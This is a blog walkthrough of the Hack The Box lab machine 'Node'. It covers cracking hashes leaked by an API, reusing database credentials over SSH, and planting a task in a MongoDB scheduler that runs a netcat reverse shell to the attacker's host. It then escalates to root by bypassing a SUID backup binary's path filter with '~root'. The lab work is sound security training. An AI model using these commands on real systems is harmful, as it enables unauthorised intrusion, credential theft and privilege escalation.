Hack The Box: Node Walkthrough

By March 3, 2018 Walkthrough

Hey ya’ll!

Welcome to another fun Hack the Box walkthrough. Today, we’ll be talking about Node. This was one I really enjoyed working on and taught me a lot about single page applications and the MEAN (Mongo, Express, Angular, Node) stack. Anyway, enough blabbing, let’s get hacking.

Reconnaissance

First things first, we need to try understand what we’re targeting. We’ll start off with a full TCP nmap scan to see what types of services are running.


# Nmap 7.60 scan initiated Thu Jan 25 13:17:38 2018 as: nmap -sS -T4 -A -oA 02-tcp-full/full-tcp --stats-every 60s --max-retries 3 --defeat-rst-ratelimit -p- --reason node.htb
Nmap scan report for node.htb (10.10.10.58)
Host is up, received echo-reply ttl 63 (0.018s latency).
Not shown: 65533 filtered ports
Reason: 65533 no-responses
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA)
| 256 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA)
|_ 256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (EdDSA)
3000/tcp open hadoop-datanode syn-ack ttl 63 Apache Hadoop
| hadoop-datanode-info:
|_ Logs: /login
|_hadoop-jobtracker-info:
| hadoop-tasktracker-info:
|_ Logs: /login
|_hbase-master-info:
|_http-title: MyPlace
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.8 (92%), Linux 3.12 (92%), Linux 3.13 (92%), Linux 3.13 or 4.2 (92%), Linux 3.16 (92%), Linux 3.16 - 4.6 (92%), Linux 3.2 - 4.8 (92%), Linux 3.8 - 3.11 (92%), Linux 4.4 (92%), Linux 3.18 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
.
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 17.50 ms 10.10.14.1
2 17.63 ms node.htb (10.10.10.58)
.
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jan 25 13:19:24 2018 -- 1 IP address (1 host up) scanned in 106.11 seconds

Even with a pretty intensive nmap scan we don’t see many services. Seems only port 22 for SSH and port 3000 for some kind of application. For some reason it says hadoop even though we see http-title, so we’ll need to take a look and see which is which. A quick check of this shows that it’s a single-page javascript application.

01-validate-the-site

Validate what the service is before continuing

Looks interesting, but because the application is an AngularJS single-page application (SPA), our primary web discovery tools such as gobuster, dirb, and nikto are not effective. Because of our limited toolset which supports JavaScript applications, we’re going to want or need to leverage a proxy such as Burp Suite or ZAP to analyze and record URL’s the web application called to. We can do this for example by opening up node.htb and telling Burp to spider the host for us. As we’re not logged in, I’m not concerned about the spider trying to delete something randomly. If we were logged into an application, we probably wouldn’t want to spider the host.

When we take a look through the URLs that have been found, we quickly find something interesting within the API:

02-users-api

The user API is returning password hashes in it’s responses

So the users API endpoint is returning password hashes to us, which could be useful if we can crack them. Looking at the /api/users/ endpoint we get back:


[
{
"_id":"59a7365b98aa325cc03ee51c",
"username":"myP14ceAdm1nAcc0uNT",
"password":"dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af",
"is_admin":true
},
{
"_id":"59a7368398aa325cc03ee51d",
"username":"tom",
"password":"f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240",
"is_admin":false
},
{
"_id":"59a7368e98aa325cc03ee51e",
"username":"mark",
"password":"de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73",
"is_admin":false
},
{
"_id":"59aa9781cced6f1d1490fce9",
"username":"rastating",
"password":"5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0",
"is_admin":false
}
]

Nice! Looks like one of the users is an administrator. Let’s format this for John the Ripper and see if we get any hits back. We can do this by using a little bash loop and using jq to help us process the JSON.


root@kali:~/pentest/10.58-node/01-recon/01-nmap# for j in $(seq 0 3); do echo "$(curl -s http://node.htb:3000/api/users | jq .[${j}].username):$(curl -s http://node.htb:3000/api/users | jq .[${j}].password)" | tr -d '"' >>hashes.txt; done
root@kali:~/pentest/10.58-node/01-recon/01-nmap# cat hashes.txt
myP14ceAdm1nAcc0uNT:dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af
tom:f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240
mark:de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73
rastating:5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0

Now that we have our hashes, lets try to crack them and see what happens. We’re certainly most interested in the admin account, but maybe the other ones will offer us something as well.

To crack this, we’ll use Hash Identifier to determine what hash type these are, then try to use john John the Ripper like so:


root@kali:~/pentest/10.58-node/02-exploitation/00-foothold# hash-identifier
#########################################################################
# __ __ __ ______ _____ #
# /\ \/\ \ /\ \ /\__ _\ /\ _ `\ #
# \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ #
# \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ #
# \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ #
# \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ #
# \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.1 #
# By Zion3R #
# www.Blackploit.com #
# Root@Blackploit.com #
#########################################################################
.
-------------------------------------------------------------------------
HASH: dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af
.
Possible Hashs:
[+] SHA-256
[+] Haval-256
.
Least Possible Hashs:
[+] GOST R 34.11-94
[+] RipeMD-256
[+] SNEFRU-256
[+] SHA-256(HMAC)
[+] Haval-256(HMAC)
[+] RipeMD-256(HMAC)
[+] SNEFRU-256(HMAC)
[+] SHA-256(md5($pass))
[+] SHA-256(sha1($pass))

We’ll start off with SHA-256 as that is normally more common than Haval-256. We’ll start the cracking with:


john --rules --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-sha256 hashes.txt

And pretty quickly we gets hits — best of all one of them is for the administrator account. As such, we’ll probably want to start off with looking at that account.

03-cracked-passwords

We successfully cracked three passwords


root@kali:~/pentest/10.58-node/02-exploitation/00-foothold# john --rules --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-sha256 hashes.txt
Using default input encoding: UTF-8
Loaded 4 password hashes with no different salts (Raw-SHA256 [SHA256 128/128 AVX 4x])
Press 'q' or Ctrl-C to abort, almost any other key for status
spongebob (tom)
manchester (myP14ceAdm1nAcc0uNT)
snowflake (mark)
3g 0:00:01:53 DONE (2018-01-25 13:53) 0.02637g/s 2055Kp/s 2055Kc/s 2055KC/s Aaaaaaaaaaaaaaaing..Aaaaaaaaaaaaing
Use the "--show" option to display all of the cracked passwords reliably
Session completed

So with that let’s try out our new credentials on the website and see what we get. Upon logging in, we get a single new option, download backup. Potentially this will give us a copy of the website which may contain sensitive information such as usernames or passwords.

When we download the file, we get something called myplace.backup which Firefox tells us is a plaintext file. Taking a look at it, it looks like it’s encoded. The equal sign at the end hints that it may be base64 encoded. Sometimes we’ll find things like images or files base64 encoded for easier transmission or to embed them into a website. Let’s decode it and save it to a new file to try to figure out what we have.


root@kali:~/pentest/10.58-node/02-exploitation/00-foothold# base64 -d myplace.backup > myplace-backup.decoded
root@kali:~/pentest/10.58-node/02-exploitation/00-foothold# file myplace-backup.decoded
myplace-backup.decoded: Zip archive data, at least v1.0 to extract

Nice, so this is a zip file. Let’s rename it so it’s a bit easier to work with. Then try to extract it.


root@kali:~/pentest/10.58-node/02-exploitation/00-foothold# mv myplace-backup.decoded myplace-backup.zip
root@kali:~/pentest/10.58-node/02-exploitation/00-foothold# unzip myplace-backup.zip
Archive: myplace-backup.zip
creating: var/www/myplace/
[myplace-backup.zip] var/www/myplace/package-lock.json password:

Sadly it looks like there is a password on all or part of this ZIP file. Let’s try to crack it and see if we can extract the full contents. We’ll try to crack it by running fcrackzip:


root@kali:~/pentest/10.58-node/02-exploitation/00-foothold# fcrackzip -v -D -u -p /usr/share/wordlists/rockyou.txt myplace-backup.zip
'var/www/myplace/' is not encrypted, skipping
found file 'var/www/myplace/package-lock.json', (size cp/uc 4404/ 21264, flags 9, chk 0145)
'var/www/myplace/node_modules/' is not encrypted, skipping
'var/www/myplace/node_modules/serve-static/' is not encrypted, skipping
found file 'var/www/myplace/node_modules/serve-static/README.md', (size cp/uc 2733/ 7508, flags 9, chk 1223)
found file 'var/www/myplace/node_modules/serve-static/index.js', (size cp/uc 1640/ 4533, flags 9, chk b964)
found file 'var/www/myplace/node_modules/serve-static/LICENSE', (size cp/uc 697/ 1189, flags 9, chk 1020)
found file 'var/www/myplace/node_modules/serve-static/HISTORY.md', (size cp/uc 2625/ 8504, flags 9, chk 35bd)
found file 'var/www/myplace/node_modules/serve-static/package.json', (size cp/uc 868/ 2175, flags 9, chk 0145)
'var/www/myplace/node_modules/utils-merge/' is not encrypted, skipping
found file 'var/www/myplace/node_modules/utils-merge/README.md', (size cp/uc 344/ 634, flags 9, chk 9f17)
found file 'var/www/myplace/node_modules/utils-merge/index.js', (size cp/uc 219/ 381, flags 9, chk 9e03)
8 file maximum reached, skipping further files
.
.
PASSWORD FOUND!!!!: pw == magicword

With our password, lets extract this. We quickly see as unzip runs that it seems to have been a full web application backup. Moving down into the ./var/www/myplace/ subdirectory, we get to the application root. When I am going to examine a web application, I try to start at the application entrypoint and then branch out depending on what I find. In this case, Express.js applications usually start with the app.js file. Looking into this, we see that the application connects to a MongoDB instance using a username and password. First thing this should make us wonder is whether the user re-used their normal user password for database access.


const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';
const backup_key = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';

We can check this by trying to login using the credentials via SSH:


root@kali:~/pentest/10.58-node/02-exploitation/00-foothold/var/www/myplace# ssh mark@node.htb
The authenticity of host 'node.htb (10.10.10.58)' can't be established.
ECDSA key fingerprint is SHA256:I0Y7EMtrkyc9Z/92jdhXQen2Y8Lar/oqcDNLHn28Hbs.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'node.htb,10.10.10.58' (ECDSA) to the list of known hosts.
mark@node.htb's password:
.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
.
.
.
.-.
.-'``(|||)
,`\ \ `-`. 88 88
/ \ '``-. ` 88 88
.-. , `___: 88 88 88,888, 88 88 ,88888, 88888 88 88
(:::) : ___ 88 88 88 88 88 88 88 88 88 88 88
`-` ` , : 88 88 88 88 88 88 88 88 88 88 88
\ / ,..-` , 88 88 88 88 88 88 88 88 88 88 88
`./ / .-.` '88888' '88888' '88888' 88 88 '8888 '88888'
`-..-( )
`-`
.
.
.
.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
.
Last login: Mon Jan 22 00:27:58 2018 from 10.10.14.23
mark@node:~$

Perfect! We successfully logged in. Sadly though, it doesn’t seem this is the user we want to be as there is no user.txt flag:


mark@node:~$ ls
mark@node:~$ pwd
/home/mark

Guess we’ll need to take a look around and see if we can either escalate our privileges directly to root or if we need to consider pivoting to another user on the machine. To determine this, we should try to understand more about the application we were able to exploit. For example, is it running as Mark or as another user? If it’s Mark, there may not be much of interest with it, but if it’s another user there may be an opportunity to escalate privileges using the user running the application. Since this is a Node.JS application, we can quickly check for it by running:


mark@node:~$ ps -ef | grep node
tom 1213 1 0 Jan22 ? 00:00:42 /usr/bin/node /var/scheduler/app.js
tom 1214 1 0 Jan22 ? 00:00:38 /usr/bin/node /var/www/myplace/app.js
mark 17345 17322 0 19:14 pts/0 00:00:00 grep --color=auto node

Hm, seems that the application is running as Tom. Also, seems there is some type of scheduler application which is also running. Let’s take a look at that and see what it is. May be interesting as from the name of it, we may be able to execute something every so often with it, similar to a cron job.

When we get there, we cat out the app.js file and see:


mark@node:/var/scheduler$ cat app.js
const exec = require('child_process').exec;
const MongoClient = require('mongodb').MongoClient;
const ObjectID = require('mongodb').ObjectID;
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?authMechanism=DEFAULT&authSource=scheduler';
MongoClient.connect(url, function(error, db) {
if (error || !db) {
console.log('[!] Failed to connect to mongodb');
return;
}
setInterval(function () {
db.collection('tasks').find().toArray(function (error, docs) {
if (!error && docs) {
docs.forEach(function (doc) {
if (doc) {
console.log('Executing task ' + doc._id + '...');
exec(doc.cmd);
db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) });
}
});
}
else if (error) {
console.log('Something went wrong: ' + error);
}
});
}, 30000);
});

Looking at that, it seems like we have a MongoDB connection, we look for all the items in the tasks collection, then we execute whatever is in the cmd field. It seems to also require an _id field when saying what it’s doing. Based on the underscore, if it’s like Elasticsearch, I’m going to assume that this is not something we need to enter but an automatically created ID. We’ll see though. Let’s try to add a command job though and see what happens.


mark@node:/var/scheduler$ mongo -u mark -p 5AYRft73VtFpc84k localhost/scheduler
MongoDB shell version: 3.2.16
connecting to: localhost/scheduler
> db.tasks.insertOne( { cmd: "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|/bin/nc 10.10.14.5 4444 >/tmp/f" } );
{
"acknowledged" : true,
"insertedId" : ObjectId("5a6a47a3535569f1af85e966")
}
>

And then after waiting, we see that this successfully gives us a shell

04-tom-shell

Scheduler allows us to pivot from the Mark user to Tom

Now that we have a shell as mark, let’s take another look around the host and see if there is anything that looks interesting. I usually prefer LinEnum, so lets run that.


tom@node:/tmp$ curl -O http://10.10.14.5/LinEnum.sh
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 43283 100 43283 0 0 404k 0 --:--:-- --:--:-- --:--:-- 406k
tom@node:/tmp$ chmod +x LinEnum.sh
tom@node:/tmp$ ./LinEnum.sh -t -k password

#########################################################
# Local Linux Enumeration & Privilege Escalation Script #
#########################################################
# www.rebootuser.com
#

Debug Info
keyword = password
thorough tests = enabled
...
SUID files:
-rwsr-xr-x 1 root root 10232 Mar 27 2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 81672 Jul 17 2017 /usr/lib/snapd/snap-confine
-rwsr-xr-- 1 root messagebus 42992 Jan 12 2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 38984 Jun 14 2017 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
-rwsr-xr-x 1 root root 428240 Mar 16 2017 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 14864 Jan 17 2016 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-- 1 root admin 16484 Sep 3 11:30 /usr/local/bin/backup
-rwsr-xr-x 1 root root 49584 May 17 2017 /usr/bin/chfn
-rwsr-sr-x 1 daemon daemon 51464 Jan 14 2016 /usr/bin/at
-rwsr-xr-x 1 root root 75304 May 17 2017 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 32944 May 17 2017 /usr/bin/newgidmap
-rwsr-xr-x 1 root root 40432 May 17 2017 /usr/bin/chsh
-rwsr-xr-x 1 root root 136808 Jul 4 2017 /usr/bin/sudo
-rwsr-xr-x 1 root root 23376 Jan 17 2016 /usr/bin/pkexec
-rwsr-xr-x 1 root root 39904 May 17 2017 /usr/bin/newgrp
-rwsr-xr-x 1 root root 54256 May 17 2017 /usr/bin/passwd
-rwsr-xr-x 1 root root 32944 May 17 2017 /usr/bin/newuidmap
-rwsr-xr-x 1 root root 44168 May 7 2014 /bin/ping
-rwsr-xr-x 1 root root 27608 Jun 14 2017 /bin/umount
-rwsr-xr-x 1 root root 30800 Jul 12 2016 /bin/fusermount
-rwsr-xr-x 1 root root 44680 May 7 2014 /bin/ping6
-rwsr-xr-x 1 root root 142032 Jan 28 2017 /bin/ntfs-3g
-rwsr-xr-x 1 root root 40128 May 17 2017 /bin/su
-rwsr-xr-x 1 root root 40152 Jun 14 2017 /bin/mount
...

Here there is one binary which stands out: /usr/local/bin/backup. Depending on how closely you examined the app.js for the myplace application, you may also recognize it. If we go back and view that file, you’ll notice:


...
const backup_key = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';
...
app.get('/api/admin/backup', function (req, res) {
if (req.session.user && req.session.user.is_admin) {
var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]);
var backup = '';
proc.on("exit", function(exitCode) {
res.header("Content-Type", "text/plain");
res.header("Content-Disposition", "attachment; filename=myplace.backup");
res.send(backup);
});
proc.stdout.on("data", function(chunk) {
backup += chunk;
});
proc.stdout.on("end", function() {
});
}
else {
res.send({
authenticated: false
});
}
});
...

So backup is something that the web application is using to generate our backups on the system and it’s a set UID file meaning that it’s running with escalated privileges. Let’s try to backup the root directory and see what happens:


/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /root/

Running this, we get our base64. Let’s decode and unzip it from our machine.


root@kali:~/pentest/10.58-node/02-exploitation/01-privesc/failed# vim file.backup
root@kali:~/pentest/10.58-node/02-exploitation/01-privesc/failed# cat file.backup
UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpSvYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZorY67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207EfD3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY/a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MMyU9L1CL2RRwm2QvbdD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate/Ut22WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd26PCuhmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F+X/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJryLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK70RemYniiNeluBfHwQLOxkDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmPaFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnictzNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBwACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==
root@kali:~/pentest/10.58-node/02-exploitation/01-privesc/failed# base64 -d file.backup > file.zip
root@kali:~/pentest/10.58-node/02-exploitation/01-privesc/failed# 7z x file.zip
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Core(TM) i7-4960HQ CPU @ 2.60GHz (40661),ASM,AES-NI)
Scanning the drive for archives:
1 file, 1141 bytes (2 KiB)
Extracting archive: file.zip
--
Path = file.zip
Type = zip
Physical Size = 1141
Enter password (will not be echoed):
Everything is Ok
Size: 2584
Compressed: 1141
root@kali:~/pentest/10.58-node/02-exploitation/01-privesc/failed# cat root.txt
...troll face here...

So it seems that isn’t the right way to reach it. Wonder why we aren’t able to get it… Let’s try to understand what it’s doing by tracing the application. We’ll start with the ltrace utility which is used to trace the library calls used by the application. We’ll want to run it against a successful backup to see the full execution.


ltrace /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /var/www/myplace/ > output.txt
__libc_start_main(0x80489fd, 4, 0xffacaad4, 0x80492c0
geteuid() = 1000
setuid(1000) = 0
strcmp("-q", "-q") = 0
strncpy(0xffaca998, "45fac180e9eee72f4fd2d9386ea7033e"..., 100) = 0xffaca998
strcpy(0xffaca981, "/") = 0xffaca981
strcpy(0xffaca98d, "/") = 0xffaca98d
strcpy(0xffaca917, "/e") = 0xffaca917
strcat("/e", "tc") = "/etc"
strcat("/etc", "/m") = "/etc/m"
strcat("/etc/m", "yp") = "/etc/myp"
strcat("/etc/myp", "la") = "/etc/mypla"
strcat("/etc/mypla", "ce") = "/etc/myplace"
strcat("/etc/myplace", "/k") = "/etc/myplace/k"
strcat("/etc/myplace/k", "ey") = "/etc/myplace/key"
strcat("/etc/myplace/key", "s") = "/etc/myplace/keys"
fopen("/etc/myplace/keys", "r") = 0x968f008
fgets("a01a6aa5aaf1d7729f35c8278daae30f"..., 1000, 0x968f008) = 0xffaca52f
strcspn("a01a6aa5aaf1d7729f35c8278daae30f"..., "\n") = 64
strcmp("45fac180e9eee72f4fd2d9386ea7033e"..., "a01a6aa5aaf1d7729f35c8278daae30f"...) = -1
fgets("45fac180e9eee72f4fd2d9386ea7033e"..., 1000, 0x968f008) = 0xffaca52f
strcspn("45fac180e9eee72f4fd2d9386ea7033e"..., "\n") = 64
strcmp("45fac180e9eee72f4fd2d9386ea7033e"..., "45fac180e9eee72f4fd2d9386ea7033e"...) = 0
fgets("3de811f4ab2b7543eaf45df611c2dd25"..., 1000, 0x968f008) = 0xffaca52f
strcspn("3de811f4ab2b7543eaf45df611c2dd25"..., "\n") = 64
strcmp("45fac180e9eee72f4fd2d9386ea7033e"..., "3de811f4ab2b7543eaf45df611c2dd25"...) = 1
fgets("\n", 1000, 0x968f008) = 0xffaca52f
strcspn("\n", "\n") = 0
strcmp("45fac180e9eee72f4fd2d9386ea7033e"..., "") = 1
fgets(nil, 1000, 0x968f008) = 0
strstr("/var/www/myplace/", "..") = nil
strstr("/var/www/myplace/", "/root") = nil
strchr("/var/www/myplace/", ';') = nil
strchr("/var/www/myplace/", '&') = nil
strchr("/var/www/myplace/", '`') = nil
strchr("/var/www/myplace/", '$') = nil
strchr("/var/www/myplace/", '|') = nil
strstr("/var/www/myplace/", "//") = nil
strcmp("/var/www/myplace/", "/") = 1
strstr("/var/www/myplace/", "/etc") = nil
strcpy(0xffaca33b, "/var/www/myplace/") = 0xffaca33b
getpid() = 18964
time(0) = 1516915827
clock(0, 0, 0, 0) = 1660
srand(0x1e754dbf, 0xd704bb5c, 0x1e754dbf, 0x804918c) = 0
rand(0, 0, 0, 0) = 0x53853199
sprintf("/tmp/.backup_1401237913", "/tmp/.backup_%i", 1401237913) = 23
sprintf("/usr/bin/zip -r -P magicword /tm"..., "/usr/bin/zip -r -P magicword %s "..., "/tmp/.backup_1401237913", "/var/www/myplace/") = 82
system("/usr/bin/zip -r -P magicword /tm"...
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 0
access("/tmp/.backup_1401237913", 0) = 0
sprintf("/usr/bin/base64 -w0 /tmp/.backup"..., "/usr/bin/base64 -w0 %s", "/tmp/.backup_1401237913") = 43
system("/usr/bin/base64 -w0 /tmp/.backup"...
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 0
remove("/tmp/.backup_1401237913") = 0
fclose(0x968f008) = 0
+++ exited (status 0) +++

Looking at this, we see that the binary is actually doing a comparison against things like /etc, /root, etc. and if it’s set, seems to change something to nil. That could be what we’re hitting, something filtering what we’re doing.

Let’s see if we can bypass this restriction using some bash tricks for expansion. Specifically, let’s take advantage of the fact that ~username can be used to expand to a particular directory. For example:


tom@node:/tmp$ ls ~tom
user.txt

So using this concept, lets apply the same to the backup tool:


/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 '~root' > root.txt

Then we bring the base64 contents back locally:


tom@node:/tmp$ cat root.txt && echo
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